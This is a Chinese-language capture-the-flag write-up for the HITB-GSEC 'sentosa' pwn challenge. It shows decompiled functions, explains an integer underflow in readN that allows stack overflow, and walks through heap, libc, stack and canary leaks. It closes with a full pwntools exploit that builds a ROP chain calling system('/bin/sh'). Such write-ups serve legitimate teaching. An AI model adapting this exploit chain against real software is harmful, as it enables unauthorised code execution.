HITB-GSEC-CTF-2107-SENTOSA

一道整数相关的题~

分析

保护全开:

分析程序,有一个结构体(check域应该是4字节,定义错了):

程序主体也是选单,只有增查删可用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
unsigned __int64 add()
{
__int64 i; // rbx
char *v1; // r12
unsigned int len; // [rsp+Ch] [rbp-9Ch]
char tmpBuf[88]; // [rsp+10h] [rbp-98h]
__int16 v5; // [rsp+68h] [rbp-40h]
char *newPro; // [rsp+6Ah] [rbp-3Eh]
unsigned __int64 v7; // [rsp+78h] [rbp-30h]

i = 0LL;
v7 = __readfsqword(0x28u);
if ( proNum > 16 )
{
puts("There are too much projects!");
}
else
{
while ( proList[i] )
{
if ( ++i == 16 )
{
_printf_chk(1LL, "Error.");
exit(0);
}
}
_printf_chk(1LL, "Input length of your project name: ");
_isoc99_scanf("%d", &len);
if ( len > 89 ) //长度不能太大
{
puts("Invalid name length!");
}
else
{
newPro = (char *)malloc((signed int)len + 21LL);
v1 = &newPro[len + 5];
*(_DWORD *)newPro = len;
memset(tmpBuf, 0, sizeof(tmpBuf));
v5 = 0;
_printf_chk(1LL, "Input your project name: ");
readN(tmpBuf, len);
strncpy(newPro + 4, tmpBuf, (signed int)len);
*(_DWORD *)v1 = 1;
_printf_chk(1LL, "Input your project price: ");
_isoc99_scanf("%d", v1 + 4);
_printf_chk(1LL, "Input your project area: ");
_isoc99_scanf("%d", v1 + 8);
_printf_chk(1LL, "Input your project capacity: ");
_isoc99_scanf("%d", v1 + 12);
proList[(signed int)i] = newPro;
_printf_chk(1LL, "Your project is No.%d\n");
++proNum;
}
}
return __readfsqword(0x28u) ^ v7;
}

其中readN实现为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
unsigned __int64 __fastcall readN(char *srcBuf, int len)
{
int v2; // esi
char *ptr; // rbp
__int64 i; // rbx
char buf; // [rsp+7h] [rbp-31h]
unsigned __int64 v7; // [rsp+8h] [rbp-30h]

v7 = __readfsqword(0x28u);
v2 = len - 1; //v2,len为int型,当输入为0则v2可以等于-1
if ( v2 )
{
ptr = srcBuf;
LODWORD(i) = 0; //i从0开始inc
do
{
read(0, &buf, 1uLL);
if ( buf == '\n' )
{
srcBuf[(signed int)i] = 0;
return __readfsqword(0x28u) ^ v7;
}
LODWORD(i) = i + 1;
*ptr++ = buf;
}
while ( (_DWORD)i != v2 ); //则存在当为负数则要轮一圈的情况
i = (signed int)i;
}
else
{
i = 0LL;
}
srcBuf[i] = 0;
return __readfsqword(0x28u) ^ v7;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
unsigned __int64 view()
{
int *ptr; // rbx
unsigned int *v1; // rbp
__int64 v2; // rdx
__int64 v3; // rdx
__int64 v4; // rdx
unsigned __int64 v6; // [rsp+8h] [rbp-20h]

ptr = (int *)proList;
v6 = __readfsqword(0x28u);
do
{
if ( *(_QWORD *)ptr )
{
v1 = (unsigned int *)(*(_QWORD *)ptr + **(unsigned int **)ptr + 5LL);
_printf_chk(1LL, "Project: %s\n");
v2 = v1[1];
_printf_chk(1LL, "Price: %d\n");
v3 = v1[2];
_printf_chk(1LL, "Area: %d\n");
v4 = v1[3];
_printf_chk(1LL, "Capacity: %d\n");
}
ptr += 2;
}
while ( ptr != &proNum );
return __readfsqword(0x28u) ^ v6;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
__int64 cancel()
{
unsigned int *tmpPro; // rdi
__int64 result; // rax
unsigned __int64 v2; // rt1
unsigned int i; // [rsp+4h] [rbp-14h]
unsigned __int64 v4; // [rsp+8h] [rbp-10h]

v4 = __readfsqword(0x28u);
if ( proNum <= 0 )
{
puts("There are no project to cancel!");
}
else
{
_printf_chk(1LL, "Input your projects number: ");
_isoc99_scanf("%d", &i);
if ( i <= 0xF && (tmpPro = (unsigned int *)proList[i]) != 0LL )
{
if ( *(unsigned int *)((char *)tmpPro + *tmpPro + 5) != 1 ) //检查check是否被破坏
{
LABEL_10:
puts("Corrupted project!");
exit(0);
}
free(tmpPro);
--proNum;
proList[i] = 0LL;
}
else
{
puts("Invalid number!");
}
}
v2 = __readfsqword(0x28u);
result = v2 ^ v4;
if ( v2 != v4 )
goto LABEL_10;
return result;
}

如上,本题的不太明显的漏洞,在输入长度为0时,可以栈溢出,但是保护全开一切随机,此时还没有什么有用的信息,观察栈,发现在buf之上有一个指针,即newPro,可是没有任何信息,并不知道应该覆盖什么,只能使用部分覆盖控制堆,由于readN\x00结束,所以部分覆盖只能覆盖为\x00,由于canary最低位一定是\x00所以当第一次泄露出堆以后,下次就可以完全覆盖,结束符放到canary里面去而不会造成任何影响。

利用

由于edit未实现,能写的地方只有栈,但是view可以用来读,那么控制Prolist里的指针可以做到任意位置读,于是就可以先读到canary,然后使用rop技术,而读canary需要先知道栈的位置,栈和堆目前没明显关系,但是libc里可以找到栈地址,堆里可以找到libc地址,那么通用思路就是泄露堆地址->泄露libc地址->泄露栈地址->泄露canary->rop

  1. 先使用fastbin泄露出堆地址,因为free两个fastchunk则后一个chunk的fd指向前一个chunk,即一个堆地址,可以使用部分覆盖来做到指向一个fastchun,由于我们的输入会以\x00结束,所以要利用的堆的地址应该是以\x00结束的
  2. 有了堆地址,后续就不用部分覆盖了,现在还需要泄露libc地址由于不能直接malloc一个smallchunk,需要构造一个满足约束的chunk然后释放它,这里的约束有两个:满足free的约束,满足程序自身校验的约束,另外整个程序的chunk应满足(length+&chunk)之后的一些地址仍然可访问,防止内存访问异常。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    0x5654ef5a6060:	0x0000000000000300	0x0000000000000031  -->chunk1    
    0x5654ef5a6070: 0x000000610000000f 0x0000000000000000
    0x5654ef5a6080: 0x0000000100000000 0x00000000000000d1 -->fake
    0x5654ef5a6090: 0x0000000000000064 0x0000000000000071
    0x5654ef5a60a0: 0x0000000100000050 0x0000000000000000
    0x5654ef5a60b0: 0x0000000000000000 0x0000000000000000
    0x5654ef5a60c0: 0x0000000000000000 0x0000000000000000
    0x5654ef5a60d0: 0x0000000000000000 0x0000000000000000
    0x5654ef5a60e0: 0x0000000000000000 0x0000000000000000
    0x5654ef5a60f0: 0x0000010000000000 0x0000010000000100
    0x5654ef5a6100: 0x0000000000000100 0x0000000000000071 -->chunk2
    0x5654ef5a6110: 0x6161616100000050 0x6161616161616161
    0x5654ef5a6120: 0x6161616161616161 0x6161616161616161
    0x5654ef5a6130: 0x6161616161616161 0x6161616161616161
    0x5654ef5a6140: 0x6161616161616161 0x6161616161616161
    0x5654ef5a6150: 0x6161616161616161 0x0000000000000031 -->fake
    0x5654ef5a6160: 0x0000010000000000 0x0000010000000100
    0x5654ef5a6170: 0x0000000000000100 0x0000000000020e91 -->top chunk
  3. 此时可以得到libc的地址,有libc通过__environ得到stack的地址
  4. 由stack得到canary
  5. 使用普通的rop即可getshell

利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
#!/usr/bin/env python
# coding=utf-8

from pwn import *

binary = './sentosa'
libr = '/root/Desktop/glibc-2.24/build/'
ld = libr + 'elf/ld.so'
libc = libr + 'libc.so'

context.log_level = 'info'
p = process([ld,'--library-path',libr,binary])

def sla(a,b):
p.sendlineafter(b,a)
def sl(a):
p.sendline(a)
def sa(a,b):
p.sendafter(b,a)
def r(size=0x100):
return p.recv(size)
def ru(a):
return p.recvuntil(a)
def add(length,name,price,area,capacity):
sla('1','5. Exit')
assert(length<=89)
sla(str(length),'Input length of your project name:')
sla(name,'Input your project name:')
sla(str(price),'Input your project price:')
sla(str(area),'Input your project area:')
sla(str(capacity),'Input your project capacity:')
garbage = ru('Your project is No.')
log.info('add No.{} chunkSize:0x{:x}'.format(ru('\n')[:-1],r2c(length)))
def view():
sla('2','5. Exit')
st = ru('Development Center')
return st
'''
start = 0
while True:
n1 = st.find('Project: ',beg = start)
if n1 == -1:
break
n2 = st.find('Price: ',beg = start)
n3 = st.find('Area: ',beg = start)
n4 = st.find('Capacity: ',beg = start)
#n5 = st.find('Welcome',beg = start)
n5 = st.find('\n',beg = n4)
pc0 = st[n1+len('Project: '):n2-1]
i5 = st[n2+len('Price: '):n3-1]
i9 = st[n3+len('Area: '):n4-1]
i13 = st[n3+len('Capacity: '):n5]
log.info("%s%s%s%s%s"%(pc0,i5,i9,i13))
start = n5
'''
def r2c(x):
return ((x+0x15+8)+0xf)&(~0xf)
def edit():
pass
def cancel(i):
sla('4','5. Exit')
sla(str(i),'number: ')
st = ru('Welcome')
assert(('Corrupted' not in st) and ('Invalid' not in st))
def cnv(high,low):
high,low = map(int,(high,low))
if high<0:
high += 0x100000000
if low<0:
low += 0x100000000
return (high<<32)+low

add(2,'a',1,2,3)
add(2,'a',1,2,3)
add(0,'a'*90,1,2,3)
cancel(1)
cancel(0)
st = view()
log.info('leak info........')
st = st.split('Area: ')[1]
low = int(st.split('Capacity: ')[0].strip('\n'))
high = int(st.split('Capacity: ')[1].split('\n')[0])
assert(low == 0x20000000)
if high<0:
high += 0x100000000
heapAddr = (0x56<<40)+(high<<8)
log.info("headAddr:0x{:x}".format(heapAddr))
add(0x0f,'a',0xd1,0,0x64)
add(0x50,'\x01',1,1,1)
add(0x50,'a'*68+'\x21',1,1,1)
add(0,'a'*90+p64(heapAddr+0x90),1,1,1)
add(0,'a'*90+p64(heapAddr+0x8b),1,1,1)
cancel(4)
st = view()
st = st.split('Area: ')[-1]
#print st
area = int(st.split('\n')[0])
if area<0:
area += 0x100000000
capacity = int(st.split('Capacity: ')[1].split('\n')[0])
libcAddr = cnv(capacity,area) #area+(capacity<<32)
log.info("libcAddr:0x{:x}".format(libcAddr))
mallocHookAddr = libcAddr - 0x68
onegadget = libcAddr - 0x396b58 + 0x3f592
environAddr = 0x23e0 + libcAddr
add(0,'a'*90+p64(environAddr-9),1,1,1)
st = view()
#st = st.sp
st = st.split('Price: ')[5].split('\n')
low = st[0]
high = st[1][6:]
print low
print high
stackAddr = cnv(high,low)
log.info("stackAddr:0x{:x}".format(stackAddr))
canaryAddr = stackAddr - 0xf8
add(0,'a'*90+p64(canaryAddr-3),1,1,1)
st = view()
canary = u64('\x00'+st.split('Project: ')[7].split('\nPrice')[0][:7])
log.info("canary:0x{:x}".format(canary))
#gdb.attach(p)

poprdi = 0x171d3d + libcAddr - 0x396b58
systemAddr = 0x3f6b0 + libcAddr - 0x396b58
binshAddr = 0x161035 + libcAddr - 0x396b58
add(0,('a'*104+p64(canary)).ljust(0x98,'\x00')+p64(poprdi)+p64(binshAddr)+p64(systemAddr),1,1,1)
p.interactive()
pause()

结果

参考

[0]https://github.com/briansp8210/CTF-writeup/blob/master/HITB-GSEC-CTF-2017/SENTOSA/README.md